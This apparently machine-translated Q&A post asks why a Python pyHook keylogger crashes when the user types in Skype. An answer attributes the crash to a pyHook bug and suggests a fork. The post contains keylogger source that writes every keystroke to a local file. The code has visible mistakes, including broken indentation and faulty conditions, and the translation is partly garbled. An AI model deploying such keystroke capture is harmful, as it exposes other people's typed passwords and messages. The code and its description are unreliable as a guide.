pythoncom在带有skype的键盘记录程序上崩溃



这是我的源代码:

import pythoncom, pyHook, sys
def OnKeyboardEvent(event):
    if event.Ascii==5:
        sys.exit
elif event.Ascii !=0 or 8:
    f = open('output.txt', 'r+')
    buffer = f.read()
    f.close()
    f = open ('output.txt', 'w')
    keylogs=chr(event.Ascii)
    if event.Ascii==13:
        keylogs = ('n')
    buffer +=(keylogs)
    f.write(buffer)
    f.close()
# return True to pass the event to other handlers
    return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

每当我运行skype并键入一些内容时,我都会在cmd中收到这个错误。

TypeError:KeyboardSwitch()缺少8个必需的位置参数:"msg"、"vk_code"、"scan_code"、"ascii"、"flags"、"time"、"hwnd"one_answers"win_name"

我认为这与skype的窗口名称中有一个非ascii字符有关,但我该如何解决这个问题?

这实际上是由pyhook中的一个错误引起的。如果你感兴趣,这个答案可以很好地描述它。我不想按照建议重新编译pyHook,所以我选择使用这个fork

最新更新